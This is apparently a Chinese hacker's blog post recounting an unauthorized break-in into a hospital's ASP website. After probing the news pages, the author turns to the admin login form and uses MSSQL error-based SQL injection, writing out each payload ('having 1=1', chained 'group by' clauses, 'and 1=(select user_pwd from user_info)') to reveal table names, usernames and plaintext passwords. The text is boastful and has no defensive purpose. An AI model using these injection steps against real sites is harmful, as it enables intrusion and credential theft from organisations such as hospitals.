打开网站(网址就不发了,只讲过程),是一个医院的站点,看了下网站程序,是asp的,嘻嘻,asp的站日的比较多,对它有点亲切感,随便点了一个新闻链接,加上一个单引号,弹出了一个对话框
看来有点防范啊,为了确定是否是防注入系统,如果是的话,我们就可以试试cookie注入了,于是,我换个方法检测了下,就是
http://www.xxx.com/kssz.asp?BcgID=104&ThatBcgID=65&MainBcgID=102-0
在数字后加上减0,回车,弹出相同的提示对话框,分别提交
http://www.xxx.com/kssz.asp?BcgID=104&ThatBcgID=65-0&MainBcgID=102
http://www.xxx.com/kssz.asp?BcgID=104-0&ThatBcgID=65&MainBcgID=102
都是相同的提示,看来是程序过滤了,非防注入。
然后我就打开Google,搜索了下带有asp?id=的链接,结果都是一样,那注入就没戏了。
接下来,俺就拿出自己写的扫描工具扫描了下常见上传点,也没有发现,看来,只能向后台输入框进军了哈。
在后台输入一个单引号,随便输入密码,回车,报错了,哈
看来朋友说的没错,有戏啊,而且是mssql的,幸亏是mssql的,不然还拿不下呢(原因,后面会提到)
接着,按照常规步骤,开始注入了,但是俺是懒人,想偷点懒,于是抓包,想通过get方式来注入,这样可以让工具来代替人力啊,哈哈,
于是,组合下内容
www.xxx.com/login/default.asp?Submit=%B5%C7+%C2%BC&Userpwd=1& Username=1
可是老天就是不配合俺,这个方法在这里不行啊。哎,看来只能手工了,这个对俺来说相当痛苦了。
米办法,老实的一步一步来了。在输入框里输入’ having 1=1 and ‘’=’ 回车,报错
嘻嘻,我得意的笑,这里,我们得到了表名和字段名,继续爆,输入’group by user_info.user_id having 1=1 and ‘’=’
爆出了user_name,继续爆,’group by user_info.user_id ,user_info.user_name having 1=1 and ‘’=’
到这里就差不多了,我们要的关键字段都有了,表名也有了,该是爆内容了,输入
’and 1=(select user_name from user_info) and ‘’=’ 爆出了用户名
然后用相同方法,输入’and 1=(select user_pwd from user_info) and ‘’=’ 爆出了密码,哈哈发现密码还是不加密的,那就更好了。